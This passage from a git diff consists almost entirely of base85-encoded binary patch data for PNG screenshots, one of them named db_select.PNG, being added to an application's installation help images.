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 a^*04rZ@F{-13T^}@Ie}&&X5sKVgCefS!Blm literal 0 HcmV?d00001 diff --git a/admin/help/img/install/db_select.PNG b/admin/help/img/install/db_select.PNG new file mode 100644 index 0000000000000000000000000000000000000000..11bccdab489215935e0a0d03107ecb46cc4b346c GIT binary patch literal 39596 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 